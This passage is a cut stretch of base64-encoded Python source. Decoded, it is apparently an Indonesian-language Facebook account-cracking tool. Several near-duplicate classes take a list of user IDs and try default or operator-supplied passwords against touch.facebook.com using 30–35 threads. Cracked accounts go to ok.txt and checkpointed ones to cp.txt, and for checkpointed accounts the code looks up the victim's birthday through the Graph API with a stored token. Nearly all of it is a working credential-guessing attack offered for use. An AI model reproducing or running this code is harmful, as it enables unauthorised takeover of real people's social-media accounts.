b2woMzApLm1hcChzZWxmLm1haW4sc2VsZi5mbCkKCQkJb3MucmVtb3ZlKHNlbGYuYXBrKQoJCQlleGl0KCkKCWRlZiBtYWluKHNlbGYsZmwpOgoJCXRyeToKCQkJZm9yIGkgaW4gZmwuZ2V0KCJwdyIpOgoJCQkJbG9nPXRvdWNoX2ZiKGZsLmdldCgiaWQiKSwKCQkJCQlpLCJodHRwczovL3RvdWNoLmZhY2Vib29rLmNvbSIpCgkJCQlpZiBsb2cuZ2V0KCJzdGF0dXMiKT09ImNwIjoKCQkJCQlwcmludCgoIlxyXHgxYlswOzMzbSAqIC0tPiAlcyDigKIgJXNcbiAgICAgICAgICAgICAgICIlKGZsLmdldCgiaWQiKSxpKSkpCgkJCQkJc2VsZi5jcC5hcHBlbmQoIiVzIOKAoiAlcyIlKGZsLmdldCgiaWQiKSxpKSkKCQkJCQlvcGVuKCJjcC50eHQiLCJhKyIpLndyaXRlKAoJCQkJCQkiJXMg4oCiICVzXG4iJShmbC5nZXQoImlkIiksaSkpCgkJCQkJYnJlYWsKCQkJCWVsaWYgbG9nLmdldCgic3RhdHVzIik9PSJzdWNjZXNzIjoKCQkJCQlwcmludCgoIlxyXHgxYlswOzMybSAqIC0tPiAlcyDigKIgJXMgICAgICAgICAgICAgICAiJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkpCgkJCQkJc2VsZi5hZGEuYXBwZW5kKCIlcyDigKIgJXMiJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkKCQkJCQlvcGVuKCJvay50eHQiLCJhKyIpLndyaXRlKAoJCQkJCQkiJXMg4oCiICVzXG4iJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkKCQkJCQlicmVhawoJCQkJZWxzZTpjb250aW51ZQoJCQkJCQoJCQlzZWxmLmtvKz0xCgkJCXByaW50KCJcclx4MWJbMDszN20gW0NyYWNrXVx4MWJbMDszN20gJXMvJXMgXHgxYlswOzM3bU9LIDogJXMgXHgxYlswOzM3bUNQIDogJXNceDFiWzA7MzdtIiUoc2VsZi5rbyxsZW4oc2VsZi5mbCksbGVuKHNlbGYuYWRhKSxsZW4oc2VsZi5jcCkpLCBlbmQ9JyAnKTtzeXMuc3Rkb3V0LmZsdXNoKCkKCQlleGNlcHQ6CgkJCXNlbGYubWFpbihmbCkKI0dlbmVyYXRlMwpjbGFzcyB0b2ZiZXR0bDoKCW9zLnN5c3RlbSgiY2xlYXIiKQoJYmFubmVyKCkKCWRlZiBfX2luaXRfXyhzZWxmLGlzaWZpbGUpOgoJCXNlbGYuYWRhPVtdCgkJc2VsZi5jcD1bXQoJCXNlbGYua289MAoJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBXaXRoIFBhc3MgRGVmYXVsdC9NYW51YWwgW2QvbV0iKSkKCQl3aGlsZSBUcnVlOgoJCQlmPWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDaG9vc2UgOiAiKQoJCQlpZiBmPT0iIjpjb250aW51ZQoJCQllbGlmIGY9PSJtIjoKCQkJCXRyeToKCQkJCQl3aGlsZSBUcnVlOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmFwaz1pc2lmaWxlCgkJCQkJCQlzZWxmLmZzPW9wZW4oc2VsZi5hcGspLnJlYWQoKS5zcGxpdGxpbmVzKCkKCQkJCQkJCWJyZWFrCgkJCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJCQkJY29udGludWUKCQkJCQlzZWxmLmZsPVtdCgkJCQkJZm9yIGkgaW4gc2VsZi5mczoKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5mbC5hcHBlbmQoeyJpZCI6aS5zcGxpdCgiPD0+IilbMF19KQoJCQkJCQlleGNlcHQ6Y29udGludWUKCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCQljb250aW51ZQoJCQkJcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBFeGFtcGxlIDogc2F5YW5nLGtvbnRvbCwxMjM0NTYiKSkKCQkJCXNlbGYucHdsaXN0KCkKCQkJCWJyZWFrCgkJCWVsaWYgZj09ImQiOgoJCQkJdHJ5OgoJCQkJCXdoaWxlIFRydWU6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuYXBrPWlzaWZpbGUKCQkJCQkJCXNlbGYuZnM9b3BlbihzZWxmLmFwaykucmVhZCgpLnNwbGl0bGluZXMoKQoJCQkJCQkJYnJlYWsKCQkJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQkJCQljb250aW51ZQoJCQkJCXNlbGYuZmw9W10KCQkJCQlmb3IgaSBpbiBzZWxmLmZzOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmZsLmFwcGVuZCh7ImlkIjppLnNwbGl0KCI8PT4iKVswXSwicHciOmdlbmVyYXRlMyhpLnNwbGl0KCI8PT4iKVsxXSl9KQoJCQkJCQlleGNlcHQ6Y29udGludWUKCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBTdGFydGVkLi4uIitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtPS10gU2F2ZWQgdG8gOiBvay50eHQiK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW0NQXSBTYXZlZCB0byA6IGNwLnR4dCIpKQoJCQkJVGhyZWFkUG9vbCgzNSkubWFwKHNlbGYubWFpbixzZWxmLmZsKQoJCQkJb3MucmVtb3ZlKHNlbGYuYXBrKQoJCQkJZXhpdCgpCgkJCQlicmVhawoJZGVmIHB3bGlzdChzZWxmKToKCQlzZWxmLnB3PWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBQYXNzd29yZCBMaXN0IDogIikuc3BsaXQoIiwiKQoJCWlmIGxlbihzZWxmLnB3KSA9PTA6CgkJCXNlbGYucHdsaXN0KCkKCQllbHNlOgoJCQlmb3IgaSBpbiBzZWxmLmZsOgoJCQkJaS51cGRhdGUoeyJwdyI6c2VsZi5wd30pCgkJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBTdGFydGVkLi4uIitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtPS10gU2F2ZWQgdG8gOiBvay50eHQiK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW0NQXSBTYXZlZCB0byA6IGNwLnR4dCIpKQoJCQlUaHJlYWRQb29sKDMwKS5tYXAoc2VsZi5tYWluLHNlbGYuZmwpCgkJCW9zLnJlbW92ZShzZWxmLmFwaykKCQkJZXhpdCgpCglkZWYgbWFpbihzZWxmLGZsKToKCQl0cnk6CgkJCWZvciBpIGluIGZsLmdldCgicHciKToKCQkJCWxvZz10b3VjaF9mYihmbC5nZXQoImlkIiksCgkJCQkJaSwiaHR0cHM6Ly90b3VjaC5mYWNlYm9vay5jb20iKQoJCQkJaWYgbG9nLmdldCgic3RhdHVzIik9PSJjcCI6CgkJCQkJdHJ5OgoJCQkJCQlrZT1yZXF1ZXN0cy5nZXQoImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLyIrZmwuZ2V0KCJpZCIpKyI/YWNjZXNzX3Rva2VuPSIrb3BlbigibG9naW4udHh0IiwiciIpLnJlYWQoKSkKCQkJCQkJdHQ9anNvbi5sb2FkcyhrZS50ZXh0KQoJCQkJCQl0dGw9dHRbImJpcnRoZGF5Il0KCQkJCQlleGNlcHQ6cGFzcwoJCQkJCXByaW50KCJcclx4MWJbMDszM20gKiAtLT4gJXMg4oCiICVzIOKAoiAlcyBceDFiWzBtICAgIiUoZmwuZ2V0KCJpZCIpLGksc3RyKHR0bCkpKQoJCQkJCXNlbGYuY3AuYXBwZW5kKCIlcyDigKIgJXMiJShmbC5nZXQoImlkIiksaSkpCgkJCQkJb3BlbigiY3AudHh0IiwiYSsiKS53cml0ZSgKCQkJCQkJIiVzIOKAoiAlcyDigKIgJXNcbiIlKGZsLmdldCgiaWQiKSxpLHN0cih0dGwpKSkKCQkJCQlicmVhawoJCQkJZWxpZiBsb2cuZ2V0KCJzdGF0dXMiKT09InN1Y2Nlc3MiOgoJCQkJCXByaW50KCgiXHJceDFiWzA7MzJtICogLS0+ICVzIOKAoiAlcyAgICAgICAgICAgICAgICIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKSkKCQkJCQlzZWxmLmFkYS5hcHBlbmQoIiVzIOKAoiAlcyIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKQoJCQkJCWlmIGZsLmdldCgiaWQiKSBpbiBvcGVuKCJvay50eHQiKS5yZWFkKCk6CgkJCQkJCWJyZWFrCgkJCQkJZWxzZToKCQkJCQkJb3Blbigib2sudHh0IiwiYSsiKS53cml0ZSgKCQkJCQkJIiVzIOKAoiAlc1xuIiUoZmwuZ2V0KCJpZCIpLGksY2VrX2FwaykpCgkJCQkJYnJlYWsKCQkJCWVsc2U6Y29udGludWUKCQkJCQkKCQkJc2VsZi5rbys9MQoJCQlwcmludCgiXHJceDFiWzA7MzdtIFtDcmFja11ceDFiWzA7MzdtICVzLyVzIFx4MWJbMDszN21PSyA6ICVzIFx4MWJbMDszN21DUCA6ICVzXHgxYlswOzM3bSIlKHNlbGYua28sbGVuKHNlbGYuZmwpLGxlbihzZWxmLmFkYSksbGVuKHNlbGYuY3ApKSwgZW5kPScgJyk7c3lzLnN0ZG91dC5mbHVzaCgpCgkJZXhjZXB0OgoJCQlzZWxmLm1haW4oZmwpCiNHZW5lcmF0ZTEKY2xhc3MgZnJlZWZiOgoJb3Muc3lzdGVtKCJjbGVhciIpCgliYW5uZXIoKQoJZGVmIF9faW5pdF9fKHNlbGYsaXNpZmlsZSk6CgkJc2VsZi5hZGE9W10KCQlzZWxmLmNwPVtdCgkJc2VsZi5rbz0wCgkJcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENyYWNrIFdpdGggUGFzcyBEZWZhdWx0L01hbnVhbCBbZC9tXSIpKQoJCXdoaWxlIFRydWU6CgkJCWY9aW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENob29zZSA6ICIpCgkJCWlmIGY9PSIiOmNvbnRpbnVlCgkJCWVsaWYgZj09Im0iOgoJCQkJdHJ5OgoJCQkJCXdoaWxlIFRydWU6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuYXBrPWlzaWZpbGUKCQkJCQkJCXNlbGYuZnM9b3BlbihzZWxmLmFwaykucmVhZCgpLnNwbGl0bGluZXMoKQoJCQkJCQkJYnJlYWsKCQkJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQkJCQljb250aW51ZQoJCQkJCXNlbGYuZmw9W10KCQkJCQlmb3IgaSBpbiBzZWxmLmZzOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmZsLmFwcGVuZCh7ImlkIjppLnNwbGl0KCI8PT4iKVswXX0pCgkJCQkJCWV4Y2VwdDpjb250aW51ZQoJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJCWNvbnRpbnVlCgkJCQlwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEV4YW1wbGUgOiBzYXlhbmcsa29udG9sLDEyMzQ1NiIpKQoJCQkJc2VsZi5wd2xpc3QoKQoJCQkJYnJlYWsKCQkJZWxpZiBmPT0iZCI6CgkJCQl0cnk6CgkJCQkJd2hpbGUgVHJ1ZToKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5hcGs9aXNpZmlsZQoJCQkJCQkJc2VsZi5mcz1vcGVuKHNlbGYuYXBrKS5yZWFkKCkuc3BsaXRsaW5lcygpCgkJCQkJCQlicmVhawoJCQkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCQkJCWNvbnRpbnVlCgkJCQkJc2VsZi5mbD1bXQoJCQkJCWZvciBpIGluIHNlbGYuZnM6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuZmwuYXBwZW5kKHsiaWQiOmkuc3BsaXQoIjw9PiIpWzBdLCJwdyI6Z2VuZXJhdGUxKGkuc3BsaXQoIjw9PiIpWzFdKX0pCgkJCQkJCWV4Y2VwdDpjb250aW51ZQoJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENyYWNrIFN0YXJ0ZWQuLi4iK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW09LXSBTYXZlZCB0byA6IG9rLnR4dCIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbQ1BdIFNhdmVkIHRvIDogY3AudHh0IikpCgkJCQlUaHJlYWRQb29sKDMwKS5tYXAoc2VsZi5tYWluLHNlbGYuZmwpCgkJCQlvcy5yZW1vdmUoc2VsZi5hcGspCgkJCQlleGl0KCkKCQkJCWJyZWFrCglkZWYgcHdsaXN0KHNlbGYpOgoJCXNlbGYucHc9aW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIFBhc3N3b3JkIExpc3QgOiAiKS5zcGxpdCgiLCIpCgkJaWYgbGVuKHNlbGYucHcpID09MDoKCQkJc2VsZi5wd2xpc3QoKQoJCWVsc2U6CgkJCWZvciBpIGluIHNlbGYuZmw6CgkJCQlpLnVwZGF0ZSh7InB3IjpzZWxmLnB3fSkKCQkJcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENyYWNrIFN0YXJ0ZWQuLi4iK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW09LXSBTYXZlZCB0byA6IG9rLnR4dCIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbQ1BdIFNhdmVkIHRvIDogY3AudHh0IikpCgkJCVRocmVhZFBvb2woMzApLm1hcChzZWxmLm1haW4sc2VsZi5mbCkKCQkJb3MucmVtb3ZlKHNlbGYuYXBrKQoJCQlleGl0KCkKCWRlZiBtYWluKHNlbGYsZmwpOgoJCXRyeToKCQkJZm9yIGkgaW4gZmwuZ2V0KCJwdyIpOgoJCQkJbG9nPWZfZmIoZmwuZ2V0KCJpZCIpLAoJCQkJCWksZnJlZWZhY2Vib29rKQoJCQkJaWYgbG9nLmdldCgic3RhdHVzIik9PSJjcCI6CgkJCQkJcHJpbnQoKCJcclx4MWJbMDszM20gKiAtLT4gJXMg4oCiICVzXG4gKiAtLT4gJXMg4oCiICVzXG4gICAgICAgICAgICAgICAiJShmbC5nZXQoImlkIiksaSkpKQoJCQkJCXNlbGYuY3AuYXBwZW5kKCIlcyDigKIgJXMiJShmbC5nZXQoImlkIiksaSkpCgkJCQkJb3BlbigiY3AudHh0IiwiYSsiKS53cml0ZSgKCQkJCQkJIiVzIOKAoiAlc1xuIiUoZmwuZ2V0KCJpZCIpLGkpKQoJCQkJCWJyZWFrCgkJCQllbGlmIGxvZy5nZXQoInN0YXR1cyIpPT0ic3VjY2VzcyI6CgkJCQkJcHJpbnQoIlxyXHgxYlswOzMybSAqIC0tPiAlcyDigKIgJXMgICAgICAgICAgICAgICIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKQoJCQkJCXNlbGYuYWRhLmFwcGVuZCgiJXMg4oCiICVzIiUoZmwuZ2V0KCJpZCIpLGksY2VrX2FwaykpCgkJCQkJb3Blbigib2sudHh0IiwiYSsiKS53cml0ZSgKCQkJCQkJIiVzIOKAoiAlc1xuIiUoZmwuZ2V0KCJpZCIpLGksY2VrX2FwaykpCgkJCQkJYnJlYWsKCQkJCWVsc2U6Y29udGludWUKCQkJCQkKCQkJc2VsZi5rbys9MQoJCQlwcmludCgiXHJceDFiWzA7MzdtIFtDcmFja11ceDFiWzA7MzdtICVzLyVzIFx4MWJbMDszN21PSyA6ICVzIFx4MWJbMDszN21DUCA6ICVzXHgxYlswOzM3bSIlKHNlbGYua28sbGVuKHNlbGYuZmwpLGxlbihzZWxmLmFkYSksbGVuKHNlbGYuY3ApKSwgZW5kPScgJyk7c3lzLnN0ZG91dC5mbHVzaCgpCgkJZXhjZXB0OgoJCQlzZWxmLm1haW4oZmwpCiNHZW4yCmNsYXNzIGZyZWVmYnR0bDoKCW9zLnN5c3RlbSgiY2xlYXIiKQoJYmFubmVyKCkKCWRlZiBfX2luaXRfXyhzZWxmLGlzaWZpbGUpOgoJCXNlbGYuYWRhPVtdCgkJc2VsZi5jcD1bXQoJCXNlbGYua289MAoJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBXaXRoIFBhc3MgRGVmYXVsdC9NYW51YWwgW2QvbV0iKSkKCQl3aGlsZSBUcnVlOgoJCQlmPWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDaG9vc2UgOiAiKQoJCQlpZiBmPT0iIjpjb250aW51ZQoJCQllbGlmIGY9PSJtIjoKCQkJCXRyeToKCQkJCQl3aGlsZSBUcnVlOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmFwaz1pc2lmaWxlCgkJCQkJCQlzZWxmLmZzPW9wZW4oc2VsZi5hcGspLnJlYWQoKS5zcGxpdGxpbmVzKCkKCQkJCQkJCWJyZWFrCgkJCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJCQkJY29udGludWUKCQkJCQlzZWxmLmZsPVtdCgkJCQkJZm9yIGkgaW4gc2VsZi5mczoKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5mbC5hcHBlbmQoeyJpZCI6aS5zcGxpdCgiPD0+IilbMF19KQoJCQkJCQlleGNlcHQ6Y29udGludWUKCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCQljb250aW51ZQoJCQkJcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBFeGFtcGxlIDogc2F5YW5nLGtvbnRvbCwxMjM0NTYiKSkKCQkJCXNlbGYucHdsaXN0KCkKCQkJCWJyZWFrCgkJCWVsaWYgZj09ImQiOgoJCQkJdHJ5OgoJCQkJCXdoaWxlIFRydWU6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuYXBrPWlzaWZpbGUKCQkJCQkJCXNlbGYuZnM9b3BlbihzZWxmLmFwaykucmVhZCgpLnNwbGl0bGluZXMoKQoJCQkJCQkJYnJlYWsKCQkJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQkJCQljb250aW51ZQoJCQkJCXNlbGYuZmw9W10KCQkJCQlmb3IgaSBpbiBzZWxmLmZzOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmZsLmFwcGVuZCh7ImlkIjppLnNwbGl0KCI8PT4iKVswXSwicHciOmdlbmVyYXRlMihpLnNwbGl0KCI8PT4iKVsxXSl9KQoJCQkJCQlleGNlcHQ6Y29udGludWUKCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBTdGFydGVkLi4uIitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtPS10gU2F2ZWQgdG8gOiBvay50eHQiK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW0NQXSBTYXZlZCB0byA6IGNwLnR4dCIpKQoJCQkJVGhyZWFkUG9vbCgzMCkubWFwKHNlbGYubWFpbixzZWxmLmZsKQoJCQkJb3MucmVtb3ZlKHNlbGYuYXBrKQoJCQkJZXhpdCgpCgkJCQlicmVhawoJZGVmIHB3bGlzdChzZWxmKToKCQlzZWxmLnB3PWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBQYXNzd29yZCBMaXN0IDogIikuc3BsaXQoIiwiKQoJCWlmIGxlbihzZWxmLnB3KSA9PTA6CgkJCXNlbGYucHdsaXN0KCkKCQllbHNlOgoJCQlmb3IgaSBpbiBzZWxmLmZsOgoJCQkJaS51cGRhdGUoeyJwdyI6c2VsZi5wd30pCgkJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBTdGFydGVkLi4uIitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtPS10gU2F2ZWQgdG8gOiBvay50eHQiK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW0NQXSBTYXZlZCB0byA6IGNwLnR4dCIpKQoJCQlUaHJlYWRQb29sKDMwKS5tYXAoc2VsZi5tYWluLHNlbGYuZmwpCgkJCW9zLnJlbW92ZShzZWxmLmFwaykKCQkJZXhpdCgpCglkZWYgbWFpbihzZWxmLGZsKToKCQl0cnk6CgkJCWZvciBpIGluIGZsLmdldCgicHciKToKCQkJCWxvZz1mX2ZiKGZsLmdldCgiaWQiKSwKCQkJCQlpLGZyZWVmYWNlYm9vaykKCQkJCWlmIGxvZy5nZXQoInN0YXR1cyIpPT0iY3AiOgoJCQkJCXRyeToKCQkJCQkJa2U9cmVxdWVzdHMuZ2V0KCJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8iK2ZsLmdldCgiaWQiKSsiP2FjY2Vzc190b2tlbj0iK29wZW4oImxvZ2luLnR4dCIsInIiKS5yZWFkKCkpCgkJCQkJCXR0PWpzb24ubG9hZHMoa2UudGV4dCkKCQkJCQkJdHRsPXR0WyJiaXJ0aGRheSJdCgkJCQkJZXhjZXB0OnBhc3MKCQkJCQlwcmludCgiXHJceDFiWzA7MzNtICogLS0+ICVzIOKAoiAlcyDigKIgJXMgXHgxYlswbSAgICIlKGZsLmdldCgiaWQiKSxpLHN0cih0dGwpKSkKCQkJCQlzZWxmLmNwLmFwcGVuZCgiJXMg4oCiICVzIiUoZmwuZ2V0KCJpZCIpLGkpKQoJCQkJCW9wZW4oImNwLnR4dCIsImErIikud3JpdGUoCgkJCQkJCSIlcyDigKIgJXMg4oCiICVzXG4iJShmbC5nZXQoImlkIiksaSxzdHIodHRsKSkpCgkJCQkJYnJlYWsKCQkJCWVsaWYgbG9nLmdldCgic3RhdHVzIik9PSJzdWNjZXNzIjoKCQkJCQlwcmludCgoIlxyXHgxYlswOzMybSAqIC0tPiAlcyDigKIgJXMgICAgICAgICAgICAgICAiJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkpCgkJCQkJc2VsZi5hZGEuYXBwZW5kKCIlcyDigKIgJXMiJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkKCQkJCQlpZiBmbC5nZXQoImlkIikgaW4gb3Blbigib2sudHh0IikucmVhZCgpOgoJCQkJCQlicmVhawoJCQkJCWVsc2U6CgkJCQkJCW9wZW4oIm9rLnR4dCIsImErIikud3JpdGUoCgkJCQkJCSIlcyDigKIgJXNcbiIlKGZsLmdldCgiaWQiKSxpLGNlayxhcGspKQoJCQkJCWJyZWFrCgkJCQllbHNlOmNvbnRpbnVlCgkJCQkJCgkJCXNlbGYua28rPTEKCQkJcHJpbnQoIlxyXHgxYlswOzM3bSBbQ3JhY2tdXHgxYlswOzM3bSAlcy8lcyBceDFiWzA7MzdtT0sgOiAlcyBceDFiWzA7MzdtQ1AgOiAlc1x4MWJbMDszN20iJShzZWxmLmtvLGxlbihzZWxmLmZsKSxsZW4oc2VsZi5hZGEpLGxlbihzZWxmLmNwKSksIGVuZD0nICcpO3N5cy5zdGRvdXQuZmx1c2goKQoJCWV4Y2VwdDoKCQkJc2VsZi5tYWluKGZsKQojR2VuMwpjbGFzcyBiYXBpOgogIGRlZiBfX2luaXRfXyhzZWxmLGlzaWZpbGUpOgogICAgc2VsZi5zZXRwdyA9IEZhbHNlCiAgICBzZWxmLm9rID0gW10KICAgIHNlbGYuY3AgPSBbXQogICAgc2VsZi5sb29wID0gMAogICAgc2VsZi5rcmFoKGlzaWZpbGUpCiAgZGVmIGtyYWgoc2VsZixpc2lmaWxlKToKICAgIHByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBXaXRoIFBhc3MgRGVmYXVsdC9NYW51YWwgW2QvbV0iKSkKICAgIHdoaWxlIFRydWU6CiAgICAgIGY9aW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENob29zZSA6ICIpCiAgICAgIGlmIGYgaW5bIiIsIiAiXToKICAgICAgICBwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEludmFsaWQgTnVtYmVyIikpCiAgICAgICAgY29udGludWUKICAgICAgZWxpZiBmIGluWyJtIiwiTSJdOgogICAgICAgIHRyeToKICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICBzZWxmLmFwaz1pc2lmaWxlCiAgICAgICAgICAgICAgc2VsZi5mcz1vcGVuKHNlbGYuYXBrKS5yZWFkKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICAgIHByaW50KChrKyJbIitwKyIhIitrKyJdIitwKyIgJXMiJWUpKQogICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICBzZWxmLmZsPVtdCiAgICAgICAgICBwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEV4YW1wbGUgOiBzYXlhbmcsa29udG9sLDEyMzQ1NiIpKQogICAgICAgICAgc2VsZi5wdz1pbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gUGFzc3dvcmQgTGlzdCA6ICIpLnNwbGl0KCIsIikKICAgICAgICAgIGlmIGxlbihzZWxmLnB3KSA9PTA6CiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICBmb3IgaSBpbiBzZWxmLmZzOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgc2VsZi5mbC5hcHBlbmQoeyJpZCI6aS5zcGxpdCgiPD0+IilbMF0sInB3IjpzZWxmLnB3fSkKICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgcHJpbnQoKCIgICVzIiVlKSkKICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENyYWNrIFN0YXJ0ZWQuLi4iK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW09LXSBTYXZlZCB0byA6IG9rLnR4dCIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbQ1BdIFNhdmVkIHRvIDogY3AudHh0IikpCiAgICAgICAgVGhyZWFkUG9vbCgzMCkubWFwKHNlbGYuYnJ1dGUsc2VsZi5mbCkKICAgICAgICAjb3MucmVtb3ZlKHNlbGYuYXBrKQogICAgICAgIGV4aXQoKQogICAgICAgIGJyZWFrCiAgICAgIGVsaWYgZiBpblsiZCIsIkQiXToKICAgICAgICB0cnk6CiAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgc2VsZi5hcGs9aXNpZmlsZQogICAgICAgICAgICAgIHNlbGYuZnM9b3BlbihzZWxmLmFwaykucmVhZCgpLnNwbGl0bGluZXMoKQogICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgICBwcmludChlKQogICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICBzZWxmLmZsPVtdCiAgICAgICAgICBmb3IgaSBpbiBzZWxmLmZzOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgc2VsZi5mbC5hcHBlbmQoeyJpZCI6aS5zcGxpdCgiPD0+IilbMF0sInB3IjpnZW5lcmF0ZTMoaS5zcGxpdCgiPD0+IilbMV0pfSkKICAgICAgICAgICAgZXhjZXB0OmNvbnRpbnVlCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgY29udGludWUKICAgICAgICBwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3RhcnRlZC4uLiIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbT0tdIFNhdmVkIHRvIDogb2sudHh0IitwKyJcbiBbIitrKyLigKIiK20rIuKAoiI